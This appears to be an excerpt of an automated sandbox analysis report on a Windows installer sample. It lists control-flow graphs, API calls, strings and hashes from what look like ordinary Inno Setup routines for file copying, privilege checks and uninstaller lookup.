                                                                                                                                                                                                                                      • Existing file is protected by Windows File Protection. Skipping., xrefs: 00470C60
                                                                                                                                                                                                                                      • Version of our file: %u.%u.%u.%u, xrefs: 00470964
                                                                                                                                                                                                                                      • Time stamp of our file: (failed to read), xrefs: 0047081B
                                                                                                                                                                                                                                      • Existing file's SHA-1 hash matches our file. Skipping., xrefs: 00470B29
                                                                                                                                                                                                                                      • Version of existing file: %u.%u.%u.%u, xrefs: 004709F0
                                                                                                                                                                                                                                      • Existing file is a newer version. Skipping., xrefs: 00470A76
                                                                                                                                                                                                                                      • Version of existing file: (none), xrefs: 00470B6E
                                                                                                                                                                                                                                      • Skipping due to "onlyifdoesntexist" flag., xrefs: 00470842
                                                                                                                                                                                                                                      • Will register the file (a DLL/OCX) later., xrefs: 00471393
                                                                                                                                                                                                                                      • Installing into GAC, xrefs: 00471588
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID: $-- File entry --$.tmp$7J|$@$Couldn't read time stamp. Skipping.$Dest file exists.$Dest file is protected by Windows File Protection.$Dest filename: %s$Existing file has a later time stamp. Skipping.$Existing file is a newer version. Skipping.$Existing file is protected by Windows File Protection. Skipping.$Existing file's SHA-1 hash is different from our file. Proceeding.$Existing file's SHA-1 hash matches our file. Skipping.$Failed to read existing file's SHA-1 hash. Proceeding.$Failed to strip read-only attribute.$InUn$Incrementing shared file count (32-bit).$Incrementing shared file count (64-bit).$Installing into GAC$Installing the file.$Non-default bitness: 32-bit$Non-default bitness: 64-bit$Same time stamp. Skipping.$Same version. Skipping.$Skipping due to "onlyifdestfileexists" flag.$Skipping due to "onlyifdoesntexist" flag.$Stripped read-only attribute.$Time stamp of existing file: %s$Time stamp of existing file: (failed to read)$Time stamp of our file: %s$Time stamp of our file: (failed to read)$Uninstaller requires administrator: %s$User opted not to overwrite the existing file. Skipping.$User opted not to strip the existing file's read-only attribute. Skipping.$Version of existing file: %u.%u.%u.%u$Version of existing file: (none)$Version of our file: %u.%u.%u.%u$Version of our file: (none)$Will register the file (a DLL/OCX) later.$Will register the file (a type library) later.
                                                                                                                                                                                                                                      • API String ID: 0-3195905535
                                                                                                                                                                                                                                      • Opcode ID: 9d68f8344ce4977df8583e247318b1194b32105c4f4fc62b9f0a4044c1636d2c
                                                                                                                                                                                                                                      • Instruction ID: b563e12d89f4af072a7005ff78b426759e5259748c8527a90f65f129335a0b73
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9d68f8344ce4977df8583e247318b1194b32105c4f4fc62b9f0a4044c1636d2c
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 0B925234A0424CDFDB11DFA9C485BDDBBB5AF05308F1480ABE848A7392D778AE45CB59

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1578 42e09c-42e0ad 1579 42e0b8-42e0dd AllocateAndInitializeSid 1578->1579 1580 42e0af-42e0b3 1578->1580 1581 42e287-42e28f 1579->1581 1582 42e0e3-42e100 GetVersion 1579->1582 1580->1581 1583 42e102-42e117 GetModuleHandleA GetProcAddress 1582->1583 1584 42e119-42e11b 1582->1584 1583->1584 1585 42e142-42e15c GetCurrentThread OpenThreadToken 1584->1585 1586 42e11d-42e12b CheckTokenMembership 1584->1586 1589 42e193-42e1bb GetTokenInformation 1585->1589 1590 42e15e-42e168 GetLastError 1585->1590 1587 42e131-42e13d 1586->1587 1588 42e269-42e27f FreeSid 1586->1588 1587->1588 1593 42e1d6-42e1fa call 402648 GetTokenInformation 1589->1593 1594 42e1bd-42e1c5 GetLastError 1589->1594 1591 42e174-42e187 GetCurrentProcess OpenProcessToken 1590->1591 1592 42e16a-42e16f call 4031bc 1590->1592 1591->1589 1597 42e189-42e18e call 4031bc 1591->1597 1592->1581 1604 42e208-42e210 1593->1604 1605 42e1fc-42e206 call 4031bc * 2 1593->1605 1594->1593 1598 42e1c7-42e1d1 call 4031bc * 2 1594->1598 1597->1581 1598->1581 1609 42e212-42e213 1604->1609 1610 42e243-42e261 call 402660 CloseHandle 1604->1610 1605->1581 1614 42e215-42e228 EqualSid 1609->1614 1617 42e22a-42e237 1614->1617 1618 42e23f-42e241 1614->1618 1617->1618 1620 42e239-42e23d 1617->1620 1618->1610 1618->1614 1620->1610
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • AllocateAndInitializeSid.ADVAPI32(00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0D6
                                                                                                                                                                                                                                      • GetVersion.KERNEL32(00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E0F3
                                                                                                                                                                                                                                      • GetModuleHandleA.KERNEL32(advapi32.dll,CheckTokenMembership,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E10C
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,advapi32.dll), ref: 0042E112
                                                                                                                                                                                                                                      • CheckTokenMembership.KERNELBASE(00000000,00000000,?,00000000,0042E280,?,00499788,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E127
                                                                                                                                                                                                                                      • FreeSid.ADVAPI32(00000000,0042E287,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0042E27A
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressAllocateCheckFreeHandleInitializeMembershipModuleProcTokenVersion
                                                                                                                                                                                                                                      • String ID: 1{I$CheckTokenMembership$advapi32.dll
                                                                                                                                                                                                                                      • API String ID: 2252812187-4020693264
                                                                                                                                                                                                                                      • Opcode ID: 99385c8667cd0eb2f7e8a761a457fbfbdd7e71a8091fdfbf45cde5befae85eff
                                                                                                                                                                                                                                      • Instruction ID: e5677345bf142a8b1d9111380f95962c8bb8cf61ba8e960ca5c3fd0f127139eb
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 99385c8667cd0eb2f7e8a761a457fbfbdd7e71a8091fdfbf45cde5befae85eff
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: E351A271B44215EEEB10EAE69C42BBF77ACEB09704F9404BBB901F7281D57C99018B79

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1642 4502c0-4502cd 1643 4502d3-4502e0 GetVersion 1642->1643 1644 45037c-450386 1642->1644 1643->1644 1645 4502e6-4502fc LoadLibraryA 1643->1645 1645->1644 1646 4502fe-450377 GetProcAddress * 6 1645->1646 1646->1644
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32(00480636), ref: 004502D3
                                                                                                                                                                                                                                      • LoadLibraryA.KERNEL32(Rstrtmgr.dll,00480636), ref: 004502EB
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmStartSession), ref: 00450309
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmRegisterResources), ref: 0045031E
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmGetList), ref: 00450333
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmShutdown), ref: 00450348
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmRestart), ref: 0045035D
                                                                                                                                                                                                                                      • GetProcAddress.KERNEL32(6F7F0000,RmEndSession), ref: 00450372
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: AddressProc$LibraryLoadVersion
                                                                                                                                                                                                                                      • String ID: RmEndSession$RmGetList$RmRegisterResources$RmRestart$RmShutdown$RmStartSession$Rstrtmgr.dll
                                                                                                                                                                                                                                      • API String ID: 1968650500-3419246398
                                                                                                                                                                                                                                      • Opcode ID: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
                                                                                                                                                                                                                                      • Instruction ID: c77cef2ad5653e61b65a4477cbb73d0d56cf7b8a9d174f96be3e9b6947252677
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2681632e5309952c30eea3f8c2bf2722b4339596373eceda0d07b93e3cd0d7e4
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B211F7B4510301DBD710FB61BF45A2E36E9E728315B08063FE804961A2CB7C4844CF8C

                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                      control_flow_graph 1790 423c0c-423c40 1791 423c42-423c43 1790->1791 1792 423c74-423c8b call 423b68 1790->1792 1794 423c45-423c61 call 40b24c 1791->1794 1797 423cec-423cf1 1792->1797 1798 423c8d 1792->1798 1827 423c63-423c6b 1794->1827 1828 423c70-423c72 1794->1828 1800 423cf3 1797->1800 1801 423d27-423d2c 1797->1801 1802 423c93-423c96 1798->1802 1803 423d50-423d60 1798->1803 1804 423fb1-423fb9 1800->1804 1805 423cf9-423d01 1800->1805 1808 423d32-423d35 1801->1808 1809 42409a-4240a8 IsIconic 1801->1809 1806 423cc5-423cc8 1802->1806 1807 423c98 1802->1807 1810 423d62-423d67 1803->1810 1811 423d6b-423d73 call 424194 1803->1811 1816 424152-42415a 1804->1816 1822 423fbf-423fca call 4181e0 1804->1822 1814 423f13-423f3a SendMessageA 1805->1814 1815 423d07-423d0c 1805->1815 1823 423da9-423db0 1806->1823 1824 423cce-423ccf 1806->1824 1818 423df6-423e06 call 423b84 1807->1818 1819 423c9e-423ca1 1807->1819 1820 4240d6-4240eb call 424850 1808->1820 1821 423d3b-423d3c 1808->1821 1809->1816 1817 4240ae-4240b9 GetFocus 1809->1817 1825 423d78-423d80 call 4241dc 1810->1825 1826 423d69-423d8c call 423b84 1810->1826 1811->1816 1814->1816 1841 423d12-423d13 1815->1841 1842 42404a-424055 1815->1842 1830 424171-424177 1816->1830 1817->1816 1833 4240bf-4240c8 call 41eff4 1817->1833 1818->1816 1834 423ca7-423caa 1819->1834 1835 423e1e-423e3a PostMessageA call 423b84 1819->1835 1820->1816 1844 423d42-423d45 1821->1844 1845 4240ed-4240f4 1821->1845 1822->1816 1877 423fd0-423fdf call 4181e0 IsWindowEnabled 1822->1877 1823->1816 1838 423db6-423dbd 1823->1838 1839 423cd5-423cd8 1824->1839 1840 423f3f-423f46 1824->1840 1825->1816 1826->1816 1827->1830 1828->1792 1828->1794 1833->1816 1889 4240ce-4240d4 SetFocus 1833->1889 1851 423cb0-423cb3 1834->1851 1852 423ea5-423eac 1834->1852 1835->1816 1838->1816 1857 423dc3-423dc9 1838->1857 1858 423cde-423ce1 1839->1858 1859 423e3f-423e5f call 423b84 1839->1859 1840->1816 1847 423f4c-423f51 call 404e54 1840->1847 1860 424072-42407d 1841->1860 1861 423d19-423d1c 1841->1861 1842->1816 1863 42405b-42406d 1842->1863 1864 424120-424127 1844->1864 1865 423d4b 1844->1865 1854 4240f6-424109 call 4244d4 1845->1854 1855 42410b-42411e call 42452c 1845->1855 1847->1816 1872 423cb9-423cba 1851->1872 1873 423dce-423ddc IsIconic 1851->1873 1874 423eae-423ec1 call 423b14 1852->1874 1875 423edf-423ef0 call 423b84 1852->1875 1854->1816 1855->1816 1857->1816 1878 423ce7 1858->1878 1879 423e0b-423e19 call 424178 1858->1879 1904 423e83-423ea0 call 423a84 PostMessageA 1859->1904 1905 423e61-423e7e call 423b14 PostMessageA 1859->1905 1860->1816 1866 424083-424095 1860->1866 1883 423d22 1861->1883 1884 423f56-423f5e 1861->1884 1863->1816 1881 42413a-424149 1864->1881 1882 424129-424138 1864->1882 1885 42414b-42414c call 423b84 1865->1885 1866->1816 1890 423cc0 1872->1890 1891 423d91-423d99 1872->1891 1897 423dea-423df1 call 423b84 1873->1897 1898 423dde-423de5 call 423bc0 1873->1898 1919 423ed3-423eda call 423b84 1874->1919 1920 423ec3-423ecd call 41ef58 1874->1920 1924 423ef2-423ef8 call 41eea4 1875->1924 1925 423f06-423f0e call 423a84 1875->1925 1877->1816 1921 423fe5-423ff4 call 4181e0 IsWindowVisible 1877->1921 1878->1885 1879->1816 1881->1816 1882->1816 1883->1885 1884->1816 1888 423f64-423f6b 1884->1888 1913 424151 1885->1913 1888->1816 1906 423f71-423f80 call 4181e0 IsWindowEnabled 1888->1906 1889->1816 1890->1885 1891->1816 1907 423d9f-423da4 call 422c4c 1891->1907 1897->1816 1898->1816 1904->1816 1905->1816 1906->1816 1935 423f86-423f9c call 412310 1906->1935 1907->1816 1913->1816 1919->1816 1920->1919 1921->1816 1942 423ffa-424045 GetFocus call 4181e0 SetFocus call 415240 SetFocus 1921->1942 1939 423efd-423f00 1924->1939 1925->1816 1935->1816 1945 423fa2-423fac 1935->1945 1939->1925 1942->1816 1945->1816
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                      • Opcode ID: b9e250b99cf182ccbef41989ebe76349b30642d984367dffe3cd9cb4059d0181
                                                                                                                                                                                                                                      • Instruction ID: afb4f91cf4018cf9acc1c9974f14325182323c15c0e0405bd0f9b005e596376e
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b9e250b99cf182ccbef41989ebe76349b30642d984367dffe3cd9cb4059d0181
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 03E1AE31700124EFDB04DF69E989AADB7B5FB54300FA440AAE5559B352C73CEE81DB09
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                        • Part of subcall function 0049543C: GetWindowRect.USER32(00000000), ref: 00495452
                                                                                                                                                                                                                                      • LoadBitmapA.USER32(00400000,STOPIMAGE), ref: 004675E7
                                                                                                                                                                                                                                        • Part of subcall function 0041D6B0: GetObjectA.GDI32(?,00000018,00467601), ref: 0041D6DB
                                                                                                                                                                                                                                        • Part of subcall function 00466FF4: SHGetFileInfo.SHELL32(c:\directory,00000010,?,00000160,00001010), ref: 00467097
                                                                                                                                                                                                                                        • Part of subcall function 00466FF4: ExtractIconA.SHELL32(00400000,00000000,?), ref: 004670BD
                                                                                                                                                                                                                                        • Part of subcall function 00466FF4: ExtractIconA.SHELL32(00400000,00000000,00000027), ref: 00467114
                                                                                                                                                                                                                                        • Part of subcall function 004669B4: KiUserCallbackDispatcher.NTDLL(?,?,00000000,?,0046769C,00000000,00000000,00000000,0000000C,00000000), ref: 004669CC
                                                                                                                                                                                                                                        • Part of subcall function 004956C0: MulDiv.KERNEL32(0000000D,?,0000000D), ref: 004956CA
                                                                                                                                                                                                                                        • Part of subcall function 0042ED38: GetProcAddress.KERNEL32(00000000,SHAutoComplete), ref: 0042EDA8
                                                                                                                                                                                                                                        • Part of subcall function 0042ED38: SHAutoComplete.SHLWAPI(00000000,00000001), ref: 0042EDC5
                                                                                                                                                                                                                                        • Part of subcall function 0049538C: GetDC.USER32(00000000), ref: 004953AE
                                                                                                                                                                                                                                        • Part of subcall function 0049538C: SelectObject.GDI32(?,00000000), ref: 004953D4
                                                                                                                                                                                                                                        • Part of subcall function 0049538C: ReleaseDC.USER32(00000000,?), ref: 00495425
                                                                                                                                                                                                                                        • Part of subcall function 004956B0: MulDiv.KERNEL32(0000004B,?,00000006), ref: 004956BA
                                                                                                                                                                                                                                      • GetSystemMenu.USER32(00000000,00000000,0000000C,00000000,00000000,00000000,00000000,020CFA98,020D17F8,?,?,020D1828,?,?,020D1878,?), ref: 00468271
                                                                                                                                                                                                                                      • AppendMenuA.USER32(00000000,00000800,00000000,00000000), ref: 00468282
                                                                                                                                                                                                                                      • AppendMenuA.USER32(00000000,00000000,0000270F,00000000), ref: 0046829A
                                                                                                                                                                                                                                        • Part of subcall function 0042A05C: SendMessageA.USER32(00000000,0000014E,00000000,00000000), ref: 0042A072
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Menu$AppendExtractIconObject$AddressAutoBitmapCallbackCompleteDispatcherFileInfoLoadMessageProcRectReleaseSelectSendSystemUserWindow
                                                                                                                                                                                                                                      • String ID: $(Default)$STOPIMAGE
                                                                                                                                                                                                                                      • API String ID: 3231140908-770201673
                                                                                                                                                                                                                                      • Opcode ID: d8aa18b457e06c76cf1710bd301156fff42577b8956d306d2f0c8863d05d0704
                                                                                                                                                                                                                                      • Instruction ID: 95164e1e617b107b44698f642e4cc1154f551ad52f4085116ed94e07ec8bca55
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d8aa18b457e06c76cf1710bd301156fff42577b8956d306d2f0c8863d05d0704
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: BEF2C6786005148FCB00EB59D9D9F9973F1BF49304F1542BAE9049B36ADB74EC4ACB8A
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474E55
                                                                                                                                                                                                                                      • FindNextFileA.KERNEL32(00000000,?,00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474F32
                                                                                                                                                                                                                                      • FindClose.KERNEL32(00000000,00000000,?,00000000,?,00000000,00474F66,?,?,0049C1DC,00000000), ref: 00474F40
                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: Find$File$CloseFirstNext
                                                                                                                                                                                                                                      • String ID: unins$unins???.*
                                                                                                                                                                                                                                      • API String ID: 3541575487-1009660736
                                                                                                                                                                                                                                      • Opcode ID: 5e576b03208d2e259677c02318acd6f2ad4d278db2359f1cb77b12eb5b061527
                                                                                                                                                                                                                                      • Instruction ID: 31c653d7bd6b2cf4ad5ba67a359891eda5ad6ed959604e3cb46055c530bb22dc
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 5e576b03208d2e259677c02318acd6f2ad4d278db2359f1cb77b12eb5b061527
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 2A313370A001089FCB10EF65D991ADEB7A9DF85318F51C4B6F80CA76A2DB389F418B58
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • FindFirstFileA.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452A9D
                                                                                                                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000,00452AC3,?,?,-00000001,00000000), ref: 00452AA5
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: ErrorFileFindFirstLast
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 873889042-0
                                                                                                                                                                                                                                      • Opcode ID: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
                                                                                                                                                                                                                                      • Instruction ID: 3e58272229af866f17ac5928e9872a720c3be2d4903e778e839a846eb7d55d53
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 9c675a8f1f28b386d0fa8c71b8ecb41695e84785a8bb79b0d9bc0322d07a8b6a
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 94F0F971A04604AB8B10EF669D4149EF7ACEB8672571046BBFC14E3282DAB84E0485A8
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetVersion.KERNEL32(?,0046DFEE), ref: 0046DF62
                                                                                                                                                                                                                                      • CoCreateInstance.OLE32(00499B84,00000000,00000001,00499B94,?,?,0046DFEE), ref: 0046DF7E
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                      • Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd
                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                      • API ID: CreateInstanceVersion
                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                      • API String ID: 1462612201-0
                                                                                                                                                                                                                                      • Opcode ID: 590230f93a95ca5811c62fe34acfb8e2c0307c22a832fa8ed403bfd539588e2d
                                                                                                                                                                                                                                      • Instruction ID: 3442edb0ea1fabc64a92ad6c3e34ff78e3c28f6093e8310d9e86ee8e53d0260d
                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 590230f93a95ca5811c62fe34acfb8e2c0307c22a832fa8ed403bfd539588e2d
                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4EF0A031B85200DEEB14A7A9DC45B463BD4BB24328F04007BF0448B295E3AC9850861F
                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                      • GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0049B4C0,00000001,?,00408633,?,00000000,00408712), ref: 00408586
                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                      • Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                      • Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
